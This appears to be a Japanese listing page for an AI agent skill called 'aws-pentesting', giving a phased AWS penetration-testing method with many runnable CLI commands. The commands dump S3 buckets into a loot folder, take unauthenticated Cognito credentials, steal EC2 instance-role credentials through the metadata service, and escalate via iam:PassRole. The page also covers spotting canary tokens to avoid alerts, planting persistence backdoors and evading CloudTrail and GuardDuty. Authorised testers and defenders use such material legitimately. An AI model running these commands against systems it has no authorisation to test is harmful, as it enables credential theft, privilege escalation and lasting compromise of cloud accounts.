aws-pentesting について
AWS 環境のペネトレーションテスト手法を段階別にまとめたスキルです。未認証列挙、認証情報と権限の評価、権限昇格、侵入後の活動を扱い、IAM の権限経路や監査上の注意点も示します。
主な機能
- 01フェーズ別の AWS 評価フロー
- 02未認証のサービス列挙
- 03認証情報と IAM 権限の評価
- 04権限昇格と横展開の経路
- 05永続化資料と監査上の注意
活用シーン
- 01AWS 環境の評価計画
- 02公開サービスとリソースの確認
- 03IAM 権限と昇格経路の分析
- 04永続化と監査ガイダンスの参照
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill aws-pentestingインストール後、Claude Code で/aws-pentestingを入力して読み込まれたか確認します。
同梱ファイルreferences/persistence-techniques.mdreferences/unauthenticated-enum.md
詳細
AWS クラウド環境のペネトレーションテスト手法
AWS は世界最大のパブリッククラウドプラットフォームであり、数多くの企業の基幹業務システムを支えています。200 を超えるサービスが広大な攻撃対象領域を構成しており、IAM ポリシーの設定ミス、S3 Bucket の公開、EC2 メタデータの漏えい、認証されていない Lambda 関数 URL などの問題が、実際の評価で頻繁に見つかります。このスキルでは攻撃フェーズ(Phase)を軸に、「認証情報なし」から「完全な制御」に至る一連の侵入経路をまとめ、判断ツリーを使って専門スキルへ誘導します。
詳細なリファレンス
具体的な攻撃フェーズを特定したら、対応するリファレンスドキュメントを読み込み、技術的な詳細を確認します。
- 未認証列挙の技術一覧(25 以上のサービス) → references/unauthenticated-enum.md を読む
- 永続化の技術一覧(22 以上のサービス) → references/persistence-techniques.md を読む
Phase 0: 攻撃対象領域の判断
AWS 関連のターゲットを得たら、まず現在手元にある資産の種類を判断し、どの攻撃フェーズに進むかを決めます。
当前持有什么?
├── 无任何凭据
│ ├── 有目标域名/IP → Phase 1(未授权枚举)
│ ├── 有 SSRF 漏洞 → 直接打元数据服务获取凭据 → Phase 2
│ └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 AWS AK/SK(AKIA 开头 = 长期密钥)
│ └── → Phase 2(凭据验证与权限评估)
│
├── 有临时凭据(ASIA 开头 + SessionToken)
│ └── → Phase 2(注意:有效期通常 1-12 小时,需快速行动)
│
├── 在 EC2/Lambda/ECS 实例内部
│ └── → 通过元数据获取绑定的 IAM Role 凭据 → Phase 2
│
└── 有 AWS SSO Token / IAM Identity Center 会话
└── → Phase 2(需额外确认可访问的账户和角色)
AWS 認証情報タイプのクイックリファレンス
| 認証情報タイプ | 識別特性 | 有効期間 | 取得方法 |
|---|---|---|---|
| 長期 AK/SK | AccessKeyId が AKIA で始まり、20 文字 | 永久(ローテーションされるまで) | コンソールで作成/漏えいから取得 |
| 一時 STS 認証情報 | AccessKeyId が ASIA で始まり、SessionToken を含む | 15 分〜36 時間 | AssumeRole / GetSessionToken |
| IAM Role(インスタンスに紐付け) | 169.254.169.254 経由で取得 | 自動ローテーション | EC2/Lambda/ECS メタデータ |
| SSO Token | accessToken フィールドを含む JSON 形式 | 通常 8 時間 | ~/.aws/sso/cache/ |
| Cognito Token | JWT 形式の Identity/Access Token | 1 時間 | Cognito Identity Pool |
Canary Token の検出
取得した認証情報を使用する前に、ハニートークン(Canary Token)かどうかを確認してください。ハニートークンを使うと、直ちにアラートが発生します。よくある特徴は次のとおりです。
- AccessKeyId の形式が、既知のハニーポットサービス(Thinkst Canaries、SpaceCrab など)と一致する
- 異常な経路から取得されたもの(意図的に公開された設定ファイル、あまりにも分かりやすい漏えい箇所)
aws sts get-access-key-info --access-key-id AKIA...で所属アカウントを照会し、既知のハニーポットアカウントと照合できる
Phase 1: 未認証列挙
AWS 認証情報がまったくない状態でも、ターゲットについて大量の情報を収集できます。AWS では、25 以上のサービスに未認証で列挙できる範囲があります。
価値の高い列挙対象
| 対象 | 攻撃手法 | 価値 |
|---|---|---|
| S3 Bucket | ドメイン列挙 + ブルートフォース推測 + DNS CNAME | データ漏えい、認証情報ファイルの取得 |
| Lambda Function URL | https://{id}.lambda-url.{region}.on.aws/ | Web 脆弱性の悪用 |
| Cognito User Pool | 新しいユーザーの登録を試行 | 認証済み ID の取得 → IAM Role |
| Cognito Identity Pool | 未認証 IAM Role の取得 | AWS 認証情報を直接取得 |
| EC2 の公開ポート | Nmap + サービスのフィンガープリント | SSRF → メタデータ → IAM 認証情報 |
| 公開 AMI / EBS スナップショット | describe-images --executable-users all | ハードコードされた認証情報の抽出 |
| API Gateway | https://{id}.execute-api.{region}.amazonaws.com/ | API 脆弱性の悪用 |
| CloudFront ディストリビューション | https://{id}.cloudfront.net | Origin の特定、キャッシュポイズニング |
S3 のクイック列挙手順
# 1. 检查 Bucket 是否存在并可列出
aws s3 ls s3://TARGET-BUCKET --no-sign-request
# 2. 如果可列出,递归下载敏感文件
aws s3 cp s3://TARGET-BUCKET/ ./loot/ --recursive --no-sign-request \
--exclude "*" --include "*.env" --include "*.pem" --include "*.key" \
--include "*credentials*" --include "*config*"
# 3. 通过 Bucket 反查 Account ID
pip install s3-account-search
s3-account-search arn:aws:iam::YOUR_ACCT:role/YOUR_ROLE s3://TARGET-BUCKET
Cognito のクイック悪用
# 如果发现 Identity Pool ID(格式:region:guid),获取未认证凭据
aws cognito-identity get-id --identity-pool-id "us-east-1:xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx"
aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyyy"
# 如果发现 User Pool Client ID,尝试注册
aws cognito-idp sign-up --client-id CLIENT_ID --username [email protected] --password 'P@ssw0rd123!'
→ 25 以上のサービスに関する完全な列挙一覧は、references/unauthenticated-enum.md を読んでください。
Phase 2: 認証情報の検証と権限評価
認証情報を取得したら、まず有効性を検証し、権限の範囲を評価します。
2.1 認証情報の検証
# 身份确认(最基础的检查)
aws sts get-caller-identity
# 返回示例:
# Account: 123456789012
# UserId: AIDA...
# Arn: arn:aws:iam::123456789012:user/developer
# 判断凭据类型
aws sts get-access-key-info --access-key-id AKIA...
2.2 権限の列挙
# 方法一:直接查询 IAM 策略(需要 iam 读权限)
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-user-policies --user-name USERNAME # 内联策略名称列表
aws iam get-user-policy --user-name USERNAME --policy-name POLICYNAME
aws iam list-groups-for-user --user-name USERNAME # 用户属于哪些组
# 组这一层最容易漏:用户本身没权限,权限挂在组上
aws iam list-groups
aws iam list-attached-group-policies --group-name GROUPNAME
aws iam list-group-policies --group-name GROUPNAME
aws iam get-group-policy --group-name GROUPNAME --policy-name POLICYNAME
# 方法二:如果是 Role
aws iam list-attached-role-policies --role-name ROLENAME
aws iam list-role-policies --role-name ROLENAME # 内联策略名称列表
aws iam get-role-policy --role-name ROLENAME --policy-name POLICYNAME
# 方法三:从托管策略全局反查(需要 iam 读权限)
aws iam list-policies --scope Local
aws iam get-policy --policy-arn POLICYARN # 取 DefaultVersionId
aws iam get-policy-version --policy-arn POLICYARN --version-id VID
# 方法四:暴力枚举权限(无需 IAM 读权限)
# enumerate-iam 工具会尝试调用大量 API 来探测可用权限
pip install enumerate-iam
enumerate-iam --access-key AKIA... --secret-key ...
2.3 権限評価の判断ツリー
当前身份权限如何?
├── 有 iam:* 或 AdministratorAccess → 已是管理员,直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有用户/角色/策略,寻找提权路径 → Phase 3
├── 有特定服务权限(如 s3:*、ec2:*、lambda:*)
│ ├── 检查是否有 iam:PassRole → 可能通过 PassRole 提权 → Phase 3
│ ├── 有 ec2:RunInstances + iam:PassRole → EC2 提权 → Phase 3
│ └── 可直接利用当前权限进行后渗透 → Phase 4
└── 权限极低 → 尝试暴力枚举更多权限,或回到 Phase 1 寻找更多入口
詳細なポリシー分析には、aws-iam-policy-analysis スキルを参照してください。
クラウドを横断した IAM 監査には、cloud-iam-audit スキルを参照してください。
AK/SK の完全な悪用チェーンについては、cloud-aksk-exploit スキルを参照してください。
2.4 自動監査ツール
| ツール | 用途 | コマンド |
|---|---|---|
| enumerate-iam | 使用可能な権限をブルートフォース列挙 | enumerate-iam --access-key ... --secret-key ... |
| Pacu | AWS 悪用フレームワーク(列挙 + 権限昇格 + ポストエクスプロイト) | pacu → import_keys → exec iam__enum_permissions |
| ScoutSuite | マルチクラウドのセキュリティ監査レポート | scout aws -p PROFILE |
| Prowler | AWS セキュリティのベストプラクティスチェック | prowler aws --profile PROFILE |
| CloudFox | 攻撃経路の特定 | cloudfox aws --profile PROFILE all-checks |
| PMapper | IAM 権限昇格経路のグラフ分析 | pmapper --profile PROFILE graph create |
Phase 3: 権限昇格
AWS の権限昇格の基本的な考え方は、現在の権限を利用してより高い権限を取得することです。AWS には数百の権限があり、その多くは組み合わせることで権限昇格経路になります。
よくある権限昇格経路の概要
| 権限昇格経路 | 主要な権限 | 仕組み |
|---|---|---|
| iam:CreatePolicyVersion | 新しいポリシーバージョンの作成 | Admin 権限を持つポリシーバージョンを新規作成し、デフォルトに設定する |
| iam:AttachUserPolicy / AttachRolePolicy | 管理ポリシーのアタッチ | 自分に AdministratorAccess を直接アタッチする |
| iam:PutUserPolicy / PutRolePolicy | インラインポリシーの設定 | 自分に Allow * ポリシーを書き込む |
| iam:PassRole + ec2:RunInstances | EC2 への PassRole | 高権限の Role が紐付いた EC2 インスタンスを起動する |
| iam:PassRole + lambda:CreateFunction | Lambda への PassRole | 高権限の Role が紐付いた Lambda を作成して実行する |
| sts:AssumeRole | ロールチェーン | より高い権限の Role に切り替える |
| iam:CreateLoginProfile | ユーザーのコンソールパスワードを作成 | 他のユーザーのコンソールアクセスを乗っ取る |
| iam:UpdateAssumeRolePolicy | ロールの信頼ポリシーを変更 | 自分が高権限ロールに AssumeRole できるようにする |
PassRole による権限昇格の仕組み
iam:PassRole は AWS の権限昇格で最も重要な権限の一つです。ユーザーが IAM Role を AWS サービスに「渡す」ことを許可します。iam:PassRole とサービスの作成権限(ec2:RunInstances、lambda:CreateFunction など)があれば、高権限の Role が紐付いたリソースを作成し、そのリソースを介して間接的に高い権限を取得できます。
攻击者拥有: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
│
├─ 1. 创建 Lambda 函数,绑定一个拥有 AdministratorAccess 的 Role
├─ 2. Lambda 代码中调用 IAM API 给攻击者账户添加 Admin 策略
└─ 3. 调用该 Lambda → 攻击者获得管理员权限
46 サービスの詳細な権限昇格経路については、aws-iam-privesc スキルを参照してください。
Phase 4: ポストエクスプロイトと永続化
高い権限を取得したら、ポストエクスプロイトの段階に進みます。目的は、データの取得、ラテラルムーブメント、永続化の確立です。
4.1 データの発見と取得
优先搜索哪些数据源?
├── S3 Bucket → 文档、备份、日志、配置文件
├── RDS / DynamoDB → 业务数据库
├── Secrets Manager / Parameter Store → 凭据和配置
├── EBS 快照 → 挂载后可读取完整文件系统
├── CloudWatch Logs → 应用日志中的敏感信息
└── CodeCommit → 代码仓库
4.2 ラテラルムーブメント
AWS 環境でのラテラルムーブメントは、主に次の 2 つの方向で発生します。
アカウント間の移動:
OrganizationAccountAccessRoleを利用する(管理アカウント → メンバーアカウント)- アカウント間のロール信頼ポリシーを利用する(
sts:AssumeRole) - 共有リソースを利用する(S3 Bucket Policy、KMS Key Policy)
サービス間の移動:
- EC2 インスタンス上の SSM Agent → SSM RunCommand を使って他のインスタンスへラテラルムーブメントする
- ECS/EKS タスクロール → コンテナからホストマシンへ脱出する
- Lambda 関数ロール → 関数コードを変更し、任意の操作を実行する
4.3 永続化手法の概要
| サービス | 永続化方法 | 隠蔽性 |
|---|---|---|
| IAM | バックドアユーザー/ロールの作成、Access Key の追加、信頼ポリシーの変更 | 低(IAM の変更は監査で見つかりやすい) |
| Lambda | Layer バックドア、Extension の注入、バージョン/エイリアスの重み付け、非同期の自己ループ | 高 |
| EC2 | UserData バックドア、AMI バックドア、SSH Key の注入、セキュリティグループのコネクショントラッキング | 中 |
| STS | Role Chain Juggling(ロールチェーンの循環更新) | 高 |
| CloudFormation | CDK Bootstrap で外部アカウントを信頼 | 中 |
| Cognito | 外部 ID プロバイダーの追加、リスク設定の変更 | 高 |
| SSM | CreateAssociation によるコマンドの定期実行 | 中 |
| EventBridge | 定期ルールによる悪意のある Lambda/ECS タスクの起動 | 中 |
| SNS/SQS | 外部サブスクライバーを追加し、メッセージを継続的に窃取 | 高 |
| ECR | リポジトリポリシーへのバックドア、イメージの汚染 | 高 |
→ 22 を超えるサービスの永続化手法の完全な一覧については、references/persistence-techniques.md を参照してください。
aws-post-exploit スキルを参照して、データ窃取と横方向移動の詳細ガイドを確認してください。
付録:AWS クイックリファレンス
よく使う AWS CLI コマンド
# 身份与权限
aws sts get-caller-identity # 当前身份
aws iam get-user # 当前 IAM 用户信息
aws iam list-attached-user-policies --user-name USER # 附加的策略
aws iam list-groups-for-user --user-name USER # 所属组(权限常挂在组上)
aws iam list-roles # 列出所有角色
aws organizations list-accounts # 列出组织内所有账户
# 枚举资源
aws s3 ls # 列出所有 S3 Bucket
aws ec2 describe-instances --region REGION # 列出 EC2 实例
aws lambda list-functions --region REGION # 列出 Lambda 函数
aws rds describe-db-instances --region REGION # 列出 RDS 实例
aws ec2 describe-security-groups --group-ids SG_ID --region REGION # RDS 可达性:谁能连上来
aws secretsmanager list-secrets --region REGION # 列出 Secrets
aws secretsmanager get-secret-value --secret-id SECRET_NAME --region REGION # 读明文
# 凭据操作
aws sts assume-role --role-arn ARN --role-session-name s # 切换角色
aws sts get-session-token --duration-seconds 43200 # 获取临时凭据
# 元数据服务(从 EC2 实例内部)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data/ # 启动脚本常留明文口令
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# 把取到的三元组落成一个独立 profile,避免污染当前环境
aws configure --profile loot # AccessKeyId / SecretAccessKey / SessionToken 依次填入
export AWS_PROFILE=loot
aws sts get-caller-identity # 确认已切到实例角色
AWS サービス略称一覧
| 略称 | 正式名称 | 攻撃対象領域のキーワード |
|---|---|---|
| IAM | Identity and Access Management | 権限ポリシー、ロールの信頼、権限昇格 |
| STS | Security Token Service | 一時的な認証情報、AssumeRole |
| EC2 | Elastic Compute Cloud | インスタンス、メタデータ、セキュリティグループ、AMI |
| S3 | Simple Storage Service | Bucket ポリシー、ACL、パブリックアクセス |
| Lambda | Lambda (Serverless) | 関数 URL、Layer、環境変数 |
| RDS | Relational Database Service | パブリックアクセス、スナップショットの漏えい |
| EKS | Elastic Kubernetes Service | RBAC、ServiceAccount |
| ECS | Elastic Container Service | タスク定義、IAM Role |
| ECR | Elastic Container Registry | イメージリポジトリポリシー |
| CloudFront | CloudFront (CDN) | Origin の露出、キャッシュルール |
| SNS | Simple Notification Service | Topic ポリシー、サブスクライバー |
| SQS | Simple Queue Service | キューポリシー、メッセージの窃取 |
| SSM | Systems Manager | RunCommand、Parameter Store |
| KMS | Key Management Service | Key Policy、Grant |
| Cognito | Cognito | User Pool、Identity Pool |
注意事項
CloudTrail による監査の可視性: AWS API の呼び出しは、ほぼすべて CloudTrail に記録されます。次の操作では、可視性の高いログイベントが発生します。
- IAM の変更(CreateUser、AttachPolicy、CreateAccessKey)
- ロールの切り替え(AssumeRole)
- クロスリージョン操作
一部の API は CloudTrail で「データイベント」(S3 GetObject など)として扱われ、デフォルトでは記録されませんが、組織によっては記録が有効になっている場合があります。
GuardDuty による検出リスク: GuardDuty は次の動作を検出します。
- 異常な IP/リージョンでの認証情報の使用
- EC2 インスタンスと既知の悪意ある IP との通信
- S3 からの大規模なデータエクスポート
- IAM 権限の異常な変更
- DNS トンネルのトラフィック
レート制限: AWS API にはレート制限があります(通常は毎秒 5~20 回の呼び出し)。総当たりで列挙する際は、スロットリングに注意してください。そうしないと ThrottlingException が発生し、アラートにつながる可能性があります。
リージョンの違い: AWS リソースはリージョンごとに分離されています。列挙する際は、有効になっているすべてのリージョンを確認してください(aws ec2 describe-regions)。us-east-1 だけを確認しないでください。グローバルサービス(IAM、Route53、CloudFront、STS)はリージョンの制限を受けません。